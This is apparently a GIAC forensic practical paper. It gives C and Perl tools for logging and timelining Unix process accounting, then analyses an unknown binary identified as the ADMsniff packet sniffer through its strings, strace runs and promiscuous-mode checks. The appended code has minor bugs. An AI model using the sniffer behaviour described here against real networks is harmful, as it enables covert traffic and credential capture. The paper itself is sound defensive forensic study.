The version of `lastcomm` that we have been examining has a number of different options for displaying output. We have noted the time-machine format in our testing and this has worked out to be a reasonable format for storing and manipulating the process accounting records. We like the basic format of the output of `mactime`, also part of tct-1.09, so we have created another perl script (which we are calling `acctime.pl`, the code is included in Appendix B and, as with `acctlog`, we hope to have this available from a web site on the Internet in the near future) to output the process accounting data in a similar format. We anticipate at some point creating a script to produce a unified timeline combining the output of `mactime` and our new script. An example of the output of our script is shown below.

```
jac@newmozart[509] ./acctime.pl -f pacct-5.7.tm "Sep 15 13:13" 2002-09-151318
2002-09-15 13:13:47   <>  root     other    mount              __          0.02 (2110027-0)
2002-09-15 13:13:48   <>  root     other    mount              __          0.13 (2110028-0)
                      <>  root     other    mount              __          0.03 (2110028-1)
                      <>  root     other    mount              __          0.05 (2110028-2)
                      <>  root     other    mount              __          0.04 (2110028-3)
2002-09-15 13:13:50   <>  root     other    mount              __          0.11 (2110030-0)
                      <>  root     other    mount              __          0.04 (2110030-1)
                      <>  root     other    mount              __          0.04 (2110030-2)
                      <>  root     other    mount              __          0.04 (2110030-3)
                       >  root     other    sh                 __        590.56 (2109440-0)
                       >  root     other    cfexecd            __        590.56 (2109440-1)
2002-09-15 13:13:51    >  root     other    cfagent            __        587.28 (2109444-0)
2002-09-15 13:14:45   <   jac      sysadmin ls                 0,3         1.37 (2110085-0)
2002-09-15 13:14:46    >  jac      sysadmin ls                 0,3         1.37 (2110085-0)
2002-09-15 13:16:04   <>  root     other    netstat            __          0.03 (2110164-0)
                      <>  root     other    ps                 __          0.06 (2110164-1)
```

This example shows some, but not all, of the power of our script. First note that thanks to the perl module Date::Manip, we can specify start and end dates very flexibly. Also, note we output a date and time stamp (we use strftime to format

[8] Source can be found at http://www.ussrback.com/UNIX/IDS/loginlog.c.gz, http://www.nmrc.org/files/sunix/loginlog.c.gz, and http://www.ja.net/CERT/Software/loginlog/loginlog.c, among many others, the version at the CERIAS site appears to be an older version ftp://ftp.cerias.purdue.edu/pub/tools/unix/logutils/loginlog/loginlog.c

this, so the format can be changed relatively easily), the next two characters signify the start (<) and end (>) time of the process. If the process took less than one second to execute you see both together. Next, we see the username and group name that the process was executed under (give the `-n` switch on the command line and it will leave these as numeric values, `-p` allows specification of an alternate passwd file, `-g` allows specification of an alternate group file). After this, we see the process name, followed by tty, elapsed time and a pseudo-processid so that we can match up process starts with the corresponding process ends. The script also provides for a `-u` switch to select only the process executed by a particular user. The passwd and group lookups use the same routines (written by Steve Romig over ten years ago, thanks Steve) that are included in the tct-1.09 distribution (though we have created our own `paths.pl` file which is also shown in Appendix B).

Conclusions

We have taken this opportunity to examine an often-overlooked avenue for collecting forensic data, the process accounting records. We performed tests on variants of two major operating systems (SunOS 5, a.k.a Solaris, and 2 relatively closely related Linux distributions, SuSE and Red Hat) and determined that the tool from The Coroner's Toolkit provided essentially the same data as the native tools for examining the process accounting data. This data can be quite useful for the investigator in trying to build a timeline of an event and can help fill in some of the gaps in MACTime analysis. The analysis can be run on a system image or run from a CD-ROM with the results sent off the server. Running the tool may result in additional data being appended to the process accounting log, but will not alter old data from the event being investigated. We also introduced another tool that can be used to send much of this accounting data off the server to a central log server in real-time. We have finally provided another new tool that formats the process accounting data in a format similar to the popular `mactime` tool and we have begun considering how both types of data might be combined in one more comprehensive overall timeline for investigation of an event.

Additional Information

- Loganalysis mailing list - https://lists.shmoo.com/mailman/listinfo/loganalysis
- Loganalysis web site - http://www.counterpane.com/log-analysis.html
- Garfinkel & Spafford, Practical Unix & Internet Security, O'Reilly, 1996.
- Mandia & Prosise, Incident Response: Investigating Computer Crime, Osborne/McGraw-Hill, 2002.
- Kruse & Heiser, Computer Forensics: Incident Response Essentials, Addison-Wesley, 2002.
- Casey, editor, Handbook of Computer Crime Investigation: Forensic Tools and Technology, Academic Press, 2002.
- The Coroner's Toolkit - http://www.porcupine.org/forensics/tct.html

- Loginlog - http://www.ussrback.com/UNIX/IDS/loginlog.c.gz, http://www.nmrc.org/files/sunix/loginlog.c.gz, and http://www.ja.net/CERT/Software/loginlog/loginlog.c
- Old version of loginlog – Note this is a good site for many useful security tools. ftp://ftp.cerias.purdue.edu/pub/tools/unix/logutils/loginlog/loginlog.c

Appendix A – acctlog.c

```
/*
 * $RCSfile: acctlog.c,v $
 * $Revision: 1.2 $
 * Author:      Jim Clausing <clausing@computer.org>
 * $Date: 2002/09/15 19:37:36 $
 *
 * Purpose:     This program was inspired by loginlog v1.7 by mark@netsys.com.
 *              The purpose of this program is to monitor the process
 *              accounting file (acct or pacct) and when new entries are
 *              written to it, send the data to syslog.
 *
 * $Log: acctlog.c,v $
 * Revision 1.2  2002/09/15 19:37:36  jac
 * Add RCS stuff to header. --jac
 *
 *
 */

#include    "sys_defs.h"        /* borrowed from Wietse's lastcomm.c port */

#ifdef USE_SYSMACROS_H
#include    <sys/sysmacros.h>
#endif

#include    <sys/param.h>
#include    <sys/stat.h>
#include    <sys/acct.h>
#include    <stdio.h>
#include    <ctype.h>
#include    <errno.h>
#include    <syslog.h>
#include    <fcntl.h>
#include    <string.h>
#include    "struct.h"
#include    <utmp.h>
#include    <unistd.h>



#define FACILITY    LOG_LOCAL0
#define SEVERITY    LOG_DEBUG
#define AC_HZ       ((double)AHZ)

void reopen(char *, int  *, struct stat *, struct stat *);
char *flagbits(int);
char *getdev(dev_t);


main(int argc,char  **argv) {
    register int  n;
    char         *progname;
    struct acct   acct_entry;
    struct stat   old_stat, curr_stat;
    int           fd;
    off_t         size;
    time_t        t;
    int           ch, rc, end;
    char         *acct_file;
    int           time = 0;
    char          format[160];
```

```
    char          start_time[20], end_time[20];
#ifndef HAVE_CFTIME
    struct tm    *t1;
#endif

    (void)close(0);
    if (fork()) exit(0);    /* orphan ourselves and let init take us */
    if ((fd = open(_PATH_ACCT,O_RDONLY|O_LARGEFILE)) != 0 ||
                stat(_PATH_ACCT, &old_stat)) {
        perror(_PATH_ACCT);
        exit(1);
    }
    (void)close(1);
    (void)close(2);
    if ((progname = (char *)strrchr(argv[0], '/')) == NULL) { /* kill path */
        progname = argv[0];
    } else {
        progname++;
    }

    format[0] = '\0';
    (void) strcat(format, "command = %s, flags = %s, uid = %lu, gid = %lu, ");
    (void) strcat(format, "tty = %s, start = %s, end = %s, user = %8.3f, ");
    (void) strcat(format, "system = %8.3f, elapsed = %8.3f");
#if defined(HAVE_EXIT_STATS) || defined(SUNOS5)
    (void) strcat(format, ", exit = %d");
#endif
    (void) strcat(format, "\n");

    (void) openlog(progname, LOG_NDELAY|LOG_PID, FACILITY);
    (void)lseek(fd,(off_t)0,SEEK_END);  /* seek to end of pacct file */
    for (;;) {
        sleep(10);
        (void)memset((void *)&curr_stat,0,sizeof(struct stat));
        stat(_PATH_ACCT, &curr_stat);
        if (curr_stat.st_ino != old_stat.st_ino) {
           reopen(_PATH_ACCT,&fd,&old_stat,&curr_stat);
        }
        while ((n = read (fd, &acct_entry, sizeof(struct acct))) > 0) {
           end = acct_entry.ac_btime + (time_t) ((acct_entry.ac_etime)/AC_HZ);
#ifdef HAVE_CFTIME
           rc = cftime(start_time,"%Y-%m-%d %H:%M:%S",
                (const time_t *)&acct_entry.ac_btime);
           rc = cftime(end_time,"%Y-%m-%d %H:%M:%S",(const time_t *)&end);
#else
           rc = (int) strftime(start_time,"Y-%m-%d %H:%M:%S",
                localtime((const time_t *)&acct_entry.ac_btime));
           rc = (int) strftime(end_time,"%Y-%m-%d %H:%M:%S",
                localtime((const time_t *)&end));
#endif
           syslog(SEVERITY,format,
                acct_entry.ac_comm,
                flagbits(acct_entry.ac_flag),
                (unsigned long) acct_entry.ac_uid,
                (unsigned long) acct_entry.ac_gid,
                getdev(acct_entry.ac_tty),
                start_time,end_time,
                acct_entry.ac_utime/AC_HZ,
                acct_entry.ac_stime/AC_HZ,
                acct_entry.ac_etime/AC_HZ
#if defined(HAVE_EXIT_STATS)
                ,(unsigned long) acct_entry.ac_exitcode
#elsif defined(SUNOS5)
```

```
                ,(unsigned long) acct_entry.ac_stat
#endif
           );
        }
    }
}


void reopen (s,fd,old,curr)
    char *s;
    int  *fd;
    struct stat *old,*curr;
{
    struct stat  new_stat;

    (void)close(*fd);
    if ((*fd = open(_PATH_ACCT,O_RDONLY|O_LARGEFILE)) != 0 ||
                stat(_PATH_ACCT, &new_stat)) {
        perror(_PATH_ACCT);
        exit(1);
    }
    (void)memcpy(old,&new_stat,sizeof(struct acct));
}

/*
 * Borrowed from lastcomm.c from tct-1.09
 *
 */
char *flagbits(f)
    register int f;
{
    static char flags[20] = "-";
    char *p;

#define BIT(flag, ch)  if (f & flag) *p++ = ch

    p = flags + 1;
    BIT(ASU, 'S');
    BIT(AFORK, 'F');
#ifdef ACOMPAT
    BIT(ACOMPAT, 'C');
#endif
#ifdef ACORE
    BIT(ACORE, 'D');
#endif
#ifdef AXSIG
    BIT(AXSIG, 'X');
#endif
    *p = '\0';
    return (flags);
}

/*
 * Also borrowed and slightly modified from lastcomm.c in tct-1.09
 * We use / rather than , to separate the major & minor device numbers
 *
 */
char *getdev(dev)
    dev_t dev;
{
    static char lastname[BUFSIZ];

    if (dev == NODEV)
```

```
        return ("-/-");
    sprintf(lastname, "%d/%d", (int) major(dev), (int) minor(dev));
    return(lastname);
}
```

Note, we have added a line to the sys_defs.h, struct.h taken from tct-1.09.

```
jac@newmozart[507] /usr/local/bin/diff -u ../tct-1.09/src/lastcomm/sys_defs.h sys_defs.h
--- ../tct/tct-1.09/src/lastcomm/sys_defs.h   Sun Jul 30 19:39:20 2000
+++ sys_defs.h  Sat Aug 24 15:53:39 2002
@@ -38,6 +38,7 @@
 #define HAVE_COMP_BLOCK_RW_COUNT
 #define HAVE_COMP_CHAR_IO_COUNT
 #define HAVE_COMP_MEMORY_USAGE
+#define HAVE_CFTIME
 #endif

 #ifdef SUNOS4
```

Appendix B – accttime.pl

```
#!/usr/local/bin/perl
#
# $RCSfile: accttime.pl,v $
# $Revision: 1.2 $
# Author:       Jim Clausing <clausing@computer.org>
# $Date: 2002/09/15 20:40:38 $
#
# Purpose:      Take time-machine format lastcomm output and
#               present it in a format similar to what mactime
#               does with MACTimes from the body file.
#
# Switches & arguments:
#       -h              - usage message
#       -n              - numeric uid/gid
#       -d              - debug
#       -f file         - acct/pacct file to use, otherwise stdin
#       -g grpfile      - alternate group file to use (default /etc/group)
#       -p pwdfile      - alternat passwd file to use (default /etc/passwd)
#       -u user          - select records of a particular user (use numeric with -
n)#       time [time2]    - optional start and end time to search
#
# $Log: accttime.pl,v $
# Revision 1.2  2002/09/15 20:40:38  jac
# Put RCS stuff in headers
#
#
use POSIX qw(strftime);
use Getopt::Std;
use Date::Manip;
require "pass.cache.pl";

$debug = 0;
$usage = " usage: $0 [-hnd] [-f file] [-g grpfile] [-p pwdfile] [-u user] [time
[time2]]\n";

getopts('f:g:hnp:u:') || die $usage;
die $usage if ($opt_h||$#ARGV>1);

$debug = 1 if ($opt_d);
select(STDOUT); $|=1;

$PASSWD = ($opt_p?$opt_p:"/etc/passwd");
$GROUP = ($opt_g?$opt_g:"/etc/group");

if (!$opt_n) {
  &'load_passwd_info(0,$PASSWD);
  &'load_group_info(0,$GROUP);
}

if ($opt_f) {
  close(STDIN);
  open(STDIN,"$opt_f");
}

$time_one = shift @ARGV if ($#ARGV>=0);
$time_two = shift @ARGV if ($#ARGV>=0);

$time_one = &ParseDate($time_one);
$time_two = &ParseDate($time_two);
```

```
if (defined($time_one)) {
  $start_seconds = &UnixDate($time_one,"%s");
} else {
  $start_seconds = 0;
}
if (defined($time_two)) {
  $end_seconds = &UnixDate($time_two,"%s");
} else {
  $end_seconds = time();
}

for $i ( 0..2 ) {
  $junk = <STDIN>;
}

@names = split /\|/,$junk;
push @names,"end_time";

while (<STDIN>) {
  $k++;
  print "." if ($k%20 == 0 && !opt_d);
  $newrec = {};
  @vals = split /\|/;
  for $i ( 0 .. $#vals ) {
    $newrec->{$names[$i]} = $vals[$i];
  }
  if ($opt_u) {
    $flag = 0;
    $flag = 1 if ($opt_n && ($opt_u == $newrec->{uid}));
    $flag = 1 if (!$opt_n && ($opt_u eq $uid2names{$newrec->{uid}}));
    next if !$flag;
  }

  $newrec->{end_time} = int($newrec->{start_time}
        +$newrec->{elapsed_time});
  $newrec->{pseudoid} = substr($newrec->{start_time},-7,7)
        . '-' . base62($#{$starts{$newrec->{start_time}}} + 1);
  push @records, $newrec;
  push @{$starts{$newrec->{start_time}}}, $newrec;
  push @{$ends{$newrec->{end_time}}}, $newrec;
  $time_exists{$newrec->{start_time}} = 1;
  $time_exists{$newrec->{end_time}} = 1;
}

@list = sort( keys %starts );
for $i ( sort keys %time_exists ) {
  next if $i < $start_seconds;
  exit if $i > $end_seconds;
  $date_string = strftime("%Y-%m-%d %H:%M:%S",localtime($i));
  if (defined($starts{$i})) {
    for $j ( 0..$#{$starts{$i}} ) {
      $r = \@{$starts{$i}};
      $c = ($r->[$j]->{elapsed_time}<1.0)?'>':' ';
      if (!$opt_n) {
        printf "%-21s <%s  %-8s %-8s %-16s %-6s %8.2f (%-8s)\n",
          $date_string,$c,$uid2names{$r->[$j]->{uid}},
          $gid2names{$r->[$j]->{gid}}, $r->[$j]->{command},
          $r->[$j]->{tty},$r->[$j]->{elapsed_time},$r->[$j]->{pseudoid};
      } else {
        printf "%-21s <%s  %-8d %-8d %-16s %-6s %8.2f (%-8s)\n",
          $date_string,$c,$r->[$j]->{uid},
          $r->[$j]->{gid}, $r->[$j]->{command},
          $r->[$j]->{tty},$r->[$j]->{elapsed_time},$r->[$j]->{pseudoid};
```

```
      }
      $date_string = " ";
    }
  }
  if (defined($ends{$i})) {
    for $j ( 0..$#{$ends{$i}} ) {
      $r = \@{$ends{$i}};
      next if ($r->[$j]->{elapsed_time} < 1.0);
      if (!$opt_n) {
        printf "%-21s  >  %-8s %-8s %-16s %-6s %8.2f (%-8s)\n",
          $date_string,$uid2names{$r->[$j]->{uid}},
          $gid2names{$r->[$j]->{gid}}, $r->[$j]->{command},
          $r->[$j]->{tty},$r->[$j]->{elapsed_time},$r->[$j]->{pseudoid};
      } else {
        printf "%-21s  >  %-8d %-8d %-16s %-6s %8.2f (%-8s)\n",
          $date_string,$r->[$j]->{uid},
          $r->[$j]->{gid}, $r->[$j]->{command},
          $r->[$j]->{tty},$r->[$j]->{elapsed_time},$r->[$j]->{pseudoid};
      }
      $date_string = " ";
    }
  }
}

sub base62 {
  my @parm = @_;
  if ($parm[0] <= 9) {
    $rc = $parm[0];
  } elsif ($parm[0] > 9 && $parm[0] <= 35) {
    $rc = chr(ord('a') + $parm[0] - 10);
  } else {
    $rc = chr(ord('A') + $parm[0] - 36);
  }
  return $rc
}
```

And our version of paths.pl

```
#
#  If you add anything to this file, add it to reconfig!
#
#  No format required, try to keep things alphabetical at top, platform
# specific next, then our internal TCT commands last for sheer readability.
#

1;
```

Part 2 – Analyze an Unknown Binary

Binary Details

Name

We have been given a zip file, `sn.zip`, which contains an unknown program. Unfortunately, the process of zip-ing the file for distribution has cost us some important data, as we shall see below. The zip archive contains two files, `sn.dat` and `sn.md5`. The name of the file does not provide us any useful information; the `.dat` extension is probably intended as misinformation and it is too soon to tell if `sn` is meaningful. Next, we shall run the `file(1)` command and see if this yields any useful information.

```
jac@newmozart[514] file sn.*
sn.dat:           ELF 32-bit LSB executable 80386 Version 1, statically
linked, stripped
sn.md5:         ascii text
sn.zip:         ZIP archive
```

This does provide some useful information, we now know that this is an x86 executable binary, so we shall eventually move further analysis from our Sparc Solaris machine to an x86 Linux machine, but we shall gather a little more data before we do that. We further note that the binary is statically linked, so it won't rely on any shared libraries being present on the machine on which it is eventually installed and it is stripped, so symbol table information has been removed. We shall return to this as we analyze the binary.

File/MACTime information

We shall use some of the tools that we discussed in the course to gather the MACTime information.

```
jac@newmozart[519] ~/src/forensics/mac-robber-1.00/mac-robber . | \
~/src/forensics/mac_daddy/mac_the_knife.pl | fgrep sn
host MAC ==> //
newmozart MAC ==> //
Apr 11 2002 09:29:52       37 ma. -rw-r--r-- jac      sysadmin ./sn.md5
Apr 11 2002 09:29:58   399124 ma. -rw-r--r-- jac      sysadmin ./sn.dat
Apr 19 2002 14:11:44   175185 m.. -rw-r--r-- jac      sysadmin ./sn.zip
Apr 19 2002 14:12:17   175185 ..c -rw-r--r-- jac      sysadmin ./sn.zip
Apr 19 2002 14:12:20   399124 ..c -rw-r--r-- jac      sysadmin ./sn.dat
                           37 ..c -rw-r--r-- jac      sysadmin ./sn.md5
Apr 30 2002 12:48:23   175185 .a. -rw-r--r-- jac      sysadmin ./sn.zip
```

We now have a bit more information, the `sn.dat` file, was modified and accessed at 09:29:58 on 11 April 2002 (14:29:58 GMT if the clock on the original victim machine was accurate, the analysis machine is configured for US/Eastern

timezone). 19 April was when the zip archive was downloaded from the GIAC web site and unzipped it on the Solaris analysis machine.

File ownership

The files have user and group ownership by the id that downloaded and unzipped the file. The permissions also appear to be based on the `umask` of the user who unzipped the file. This is unfortunate, it appears that the process of moving the data from the victim machine to the analysis machine has cost us some critical data. We shall examine the zip file a bit more to see if there is anymore useful information in the archive. To accomplish this we execute the `zipinfo(1)` command on the archive.

```
jac@newmozart[525] zipinfo -v sn.zip
Archive:  sn.zip   175185 bytes   2 files

End-of-central-directory record:
-------------------------------

  Actual offset of end-of-central-dir record:      175163 (0002AC3Bh)
  Expected offset of end-of-central-dir record:    175163 (0002AC3Bh)
  (based on the length of the central directory and its expected offset)

  This zipfile constitutes the sole disk of a single-part archive; its
  central directory contains 2 entries.  The central directory is 104
  (00000068h) bytes long, and its (expected) offset in bytes from the
  beginning of the zipfile is 175059 (0002ABD3h).

  There is no zipfile comment.

Central directory entry #0:
---------------------------

  sn.dat

  offset of local header from start of archive:     0 (00000000h) bytes
  file system or operating system of origin:        MS-DOS, OS/2 or NT FAT
  version of encoding software:                     2.0
  minimum file system compatibility required:       MS-DOS, OS/2 or NT FAT
  minimum software version required to extract:     2.0
  compression method:                               deflated
  compression sub-type (deflation):                 normal
  file security status:                             not encrypted
  extended local header:                            no
  file last modified on (DOS date/time):            2002 Apr 11 09:29:58
  32-bit CRC value (hex):                           d80a22be
  compressed size:                                  174950 bytes
  uncompressed size:                                399124 bytes
  length of filename:                               6 characters
  length of extra field:                            0 bytes
  length of file comment:                           0 characters
  disk number on which file begins:                 disk 1
  apparent file type:                               binary
```

```
  non-MSDOS external file attributes:              81B600 hex
  MS-DOS file attributes (20 hex):                 arc

  There is no file comment.

Central directory entry #1:
---------------------------

  sn.md5

  offset of local header from start of archive:    174986 (0002AB8Ah) bytes
  file system or operating system of origin:       MS-DOS, OS/2 or NT FAT
  version of encoding software:                    2.0
  minimum file system compatibility required:      MS-DOS, OS/2 or NT FAT
  minimum software version required to extract:    1.0
  compression method:                              none (stored)
  file security status:                            not encrypted
  extended local header:                           no
  file last modified on (DOS date/time):           2002 Apr 11 09:29:52
  32-bit CRC value (hex):                          0b9f9462
  compressed size:                                 37 bytes
  uncompressed size:                               37 bytes
  length of filename:                              6 characters
  length of extra field:                           0 bytes
  length of file comment:                          0 characters
  disk number on which file begins:                disk 1
  apparent file type:                              text
  non-MSDOS external file attributes:              81B600 hex
  MS-DOS file attributes (20 hex):                 arc

  There is no file comment.
```

This tells us that the archive was actually created on a Windows machine (see file system or operating system of origin) and not on the machine where the actual compromise took place (since as we will show below that the binary is actually a Linux binary and not a Windows binary). We thus conclude the access and modification times from the MACTime section above are probably the time when the binary was copied to the Windows machine where the zip archive was created.

File size

As we can see from both the `zipinfo` output and the MACTime information above, the binary in question is 399124 bytes in size.

MD5 hash

In order to ensure that we have correctly extracted the file, we will generate an MD5 hash of the file and compare that with the MD5 hash contained in the zip archive.

```
jac@newmozart[529] md5 sn.dat
MD5 (sn.dat) = 0e954f43fd73f56e812a7285f32e41d3
jac@newmozart[530] cat sn.md5
0e954f43fd73f56e812a7285f32e41d3  sn
```

The hashes match, so our extraction was correct.

Keywords

Next, we examine the binary for keywords and interesting strings. This is accomplished by running the `strings(1)` command on the binary. Since this is still the preliminary examination of the binary and we are still working on a Solaris analysis machine, we will run the stock Solaris version of `strings` first. We shall examine the results of that in a moment. Then, just for the heck of it, since we also have the GNU version of `strings` (version 2.11.2) on our analysis machine, we will run it as well. The two versions provide us with roughly the same information. We will then re-run both versions with the `-a` switch to examine the whole binary, not just the initialized and loaded sections (see man page for `strings(1)`). This provides us with a key piece of additional information. The extracts below is from the output of the Solaris version run with the `-a` switch. We shall address some of the important features as we encounter them.

```
--=[ %s:%i -->
%s:%i ]=--
DUMP STRUCT = NUMBER %i
*sip -> %s*
*sport -> %i*
*dip -> %s*
*dport -> %i*
*data -> %s
*---------*
\*       The END            */
priv 1.0
ADMsniff %s <device> [HEADERSIZE] [DEBUG]
ex   : admsniff le0
 ..ooOO The ADM Crew OOoo..
cant open pcap device :<
init_pcap : Unknown device type!
ADMsniff %s  in libpcap we trust !
credits: ADM, mel , ^pretty^ for the mail she sent me
The_l0gz
@(#) $Header: pcap-linux.c,v 1.15 97/10/02 22:39:37 leres Exp $ (LBL)
@(#) $Header: pcap.c,v 1.29 98/07/12 13:15:39 leres Exp $ (LBL)
@(#) $Header: savefile.c,v 1.37 97/10/15 21:58:58 leres Exp $ (LBL)
@(#) $Header: bpf_filter.c,v 1.33 97/04/26 13:37:18 leres Exp $ (LBL)
/lib/
/usr/lib/
undefined symbol:
```

Right at the beginning, we have a few very important pieces of data. We see what appear to be credits in the program. The program purports to be ADMsniff, a libpcap-based packet sniffer available from a number web sites on the internet (see program identification section below). In addition, the pcap-linux header string is an indicator that the binary in question is a Linux binary. At this point, we also surmise that the `sn` part of the name was actually a clue that the binary is a sniffer, but of course, more analysis is still required to verify this. These strings could be meant to mislead, or the program could have been modified from its original purpose.

```
linux socket: %s
linux SIOCSIFFLAGS: %s
```

More indicators that this is a Linux binary.

```
/etc/ld.so.cache
 search cache=%s
ld.so-1.7.0
glibc-ld.so.cache1.1
```

Still more indication that this is a Linux binary. This could also provide more information on which version of Linux the binary was built on.

```
GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-97)
GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-97)
GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-98)
GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-98)
GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-98)
```

Here we have a very significant piece of information. The binary and/or some of the library routines that were statically linked into the binary were compiled by gcc version 2.96 on a Red Hat Linux 7.x system (the version of gcc that ships with Red Hat 7.2 on CD-ROM is 2.96 and matches the '-98' signatures above, see below in the program identification section). This seems to confirm definitively that this is a Linux binary. For the remainder of our analysis we will move to a Linux machine.

Program Description

Judging from the strings in the binary, this would appear to be ADMsniff, a libpcap-based packet sniffer. Also, as noted above, the process of packaging the binary up for distribution to us has removed the key MACTime data on when the binary was last used on the victim machine. We shall now analyze the binary, including executing it on a machine on an isolated network, to attempt to determine just what it does.

The machine used for the rest of the analysis is a laptop running Red Hat 7.2 current on all patches through mid-May 2002. We begin the analysis of the

runtime characteristics, by using the `strace(1)` command to trace the system calls made by the binary as it executes.

```
jac@Gazelle[501]$ strace sn.dat
execve("./sn.dat", ["./sn.dat"], [/* 46 vars */]) = 0
fcntl64(0, 0x1, 0, 0xbffff7a4)          = 0
fcntl64(0x1, 0x1, 0, 0xbffff7a4)        = 0
fcntl64(0x2, 0x1, 0, 0xbffff7a4)        = 0
uname({sys="Linux", node="Gazelle", ...}) = 0
geteuid32()                             = 500
getuid32()                              = 500
getegid32()                             = 500
getgid32()                              = 500
brk(0)                                  = 0x80ab488
brk(0x80ab4a8)                          = 0x80ab4a8
brk(0x80ac000)                          = 0x80ac000
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 6), ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0x40000000
write(1, "ADMsniff priv 1.0 <device> [HEAD"..., 49ADMsniff priv 1.0
<device> [HEADERSIZE] [DEBUG]
) = 49
write(1, "ex   : admsniff le0\n", 20ex   : admsniff le0
)   = 20
write(1, " ..ooOO The ADM Crew OOoo.. \n", 29 ..ooOO The ADM Crew OOoo..
) = 29
munmap(0x40000000, 4096)                = 0
_exit(-1)                               = ?
```

The binary almost immediately exited since it was missing a required command-line parameter. Fortunately, the authors were kind enough to tell us that the missing parameter was the interface to be sniffed (see bold text above). We will try again with the additional parameter.

```
jac@Gazelle[502]$ strace ./sn.dat eth0
execve("./sn.dat", ["./sn.dat", "eth0"], [/* 46 vars */]) = 0
fcntl64(0, 0x1, 0, 0xbffff794)          = 0
fcntl64(0x1, 0x1, 0, 0xbffff794)        = 0
fcntl64(0x2, 0x1, 0, 0xbffff794)        = 0
uname({sys="Linux", node="Gazelle", ...}) = 0
geteuid32()                             = 500
getuid32()                              = 500
getegid32()                             = 500
getgid32()                              = 500
brk(0)                                  = 0x80ab488
brk(0x80ab4a8)                          = 0x80ab4a8
brk(0x80ac000)                          = 0x80ac000
socket(PF_INET, SOCK_PACKET, 0x300 /* IPPROTO_??? */) = -1 EPERM
(Operation not permitted)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 6), ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0x40000000
write(1, "cant open pcap device :<\n", 25cant open pcap device :<
) = 25
```

```
munmap(0x40000000, 4096)                = 0
_exit(-1)                               = ?
```

This time we proceeded a little further, but also failed, this time because it could not open a raw socket. We shall try again, this time running a root, rather than an unprivileged user.

```
jac@Gazelle[506]$ sudo strace ./sn.dat eth0
execve("./sn.dat", ["./sn.dat", "eth0"], [/* 49 vars */]) = 0
fcntl64(0, 0x1, 0, 0xbffff754)          = 0
fcntl64(0x1, 0x1, 0, 0xbffff754)        = 0
fcntl64(0x2, 0x1, 0, 0xbffff754)        = 0
uname({sys="Linux", node="Gazelle", ...}) = 0
geteuid32()                             = 0
getuid32()                              = 0
getegid32()                             = 0
getgid32()                              = 0
brk(0)                                  = 0x80ab488
brk(0x80ab4a8)                          = 0x80ab4a8
brk(0x80ac000)                          = 0x80ac000
socket(PF_INET, SOCK_PACKET, 0x300 /* IPPROTO_??? */) = 3
bind(3, {sin_family=AF_INET, sin_port=htons(25972),
sin_addr=inet_addr("104.48.0.0")}}, 16) = 0
ioctl(3, 0x8927, 0xbffff570)            = 0
ioctl(3, 0x8921, 0xbffff570)            = 0
ioctl(3, 0x8913, 0xbffff570)            = 0
ioctl(3, 0x8914, 0xbffff570)            = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 6), ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
= 0x40000000
write(1, "ADMsniff priv 1.0  in libpcap we"..., 41ADMsniff priv 1.0  in
libpcap we trust !
) = 41
write(1, "credits: ADM, mel , ^pretty^ for"..., 54credits: ADM, mel ,
^pretty^ forthe mail she sent me
) = 54
brk(0x80ad000)                          = 0x80ad000
open("The_l0gz", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
recvfrom(3, "\1\0\f\314\314\314\0000\2438\244H\0Y\252\252\3\0\0\f\1"...,
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 103
ioctl(3, 0x8906, 0xbffff560)            = 0
recvfrom(3, "\10\0 \302\366\25\10\0FC\312\334\10\0E\20\0d\354v@\0@\6"...,
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 114
ioctl(3, 0x8906, 0xbffff560)            = 0
recvfrom(3, "\377\377\377\377\377\377\10\0 \302\366\25\10\6\0\1\10\0"...,
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 60
ioctl(3, 0x8906, 0xbffff560)            = 0
```

Success! There are a few things to take note of here. First, we successfully opened the socket, next we did a bind to that socket. The interesting data are the port (25972) and IP address (104.84.0.0) used in the bind call. We will have to investigate this more closely in the forensic details section below. The next item of interest is that we have opened a file for writing named `The_l0gz` in the current

directory (we shall return to this shortly). Finally, we note that the program is sniffing the traffic on the socket (see the `recvfrom(3,…)` call). It appears that the interface has been placed in promiscuous mode, since it appears to be reading data, while `snort`(8) running on the system simultaneously shows no traffic to or from the IP address of the virtual Red Hat machine, we'll run `ifconfig(8)` below to verify this (after killing `snort`, so that it does not skew the results). At this point, the binary in question appears to be passive, i.e., there has not, yet, been any attempt to initiate outbound communication. The file, `The_l0gz`, is empty, probably because there was no significant traffic on the network during this run. We have not yet let the program run for an extended period of time to see if, after some period of time or some amount of data has been collected, the program attempts to "phone home." Running `ifconfig` and `lsof(8)`, we see the following.

```
jac@Gazelle[516]$ ifconfig eth0
eth0      Link encap:Ethernet  HWaddr xx:xx:xx:xx:xx:xx
          inet addr:10.18.2.35  Bcast:10.18.2.255  Mask:255.255.255.0
          UP BROADCAST NOTRAILERS RUNNING PROMISC  MTU:1500  Metric:1
          RX packets:10723 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5439 errors:0 dropped:0 overruns:0 carrier:0
          collisions:1 txqueuelen:100
          RX bytes:1470520 (1.4 Mb)  TX bytes:484154 (472.8 Kb)
          Interrupt:9 Base address:0x9000
jac@Gazelle[517]$ lsof -p 3194
COMMAND  PID USER   FD   TYPE DEVICE   SIZE    NODE NAME
sn.dat  3194 root  cwd    DIR    3,7   1024 1978369 /home/jac/giac/gcfa
sn.dat  3194 root  rtd    DIR    3,6   1024       2 /
sn.dat  3194 root  txt    REG    3,7 399124 1978371 /home/jac/giac/gcfa/sn.dat
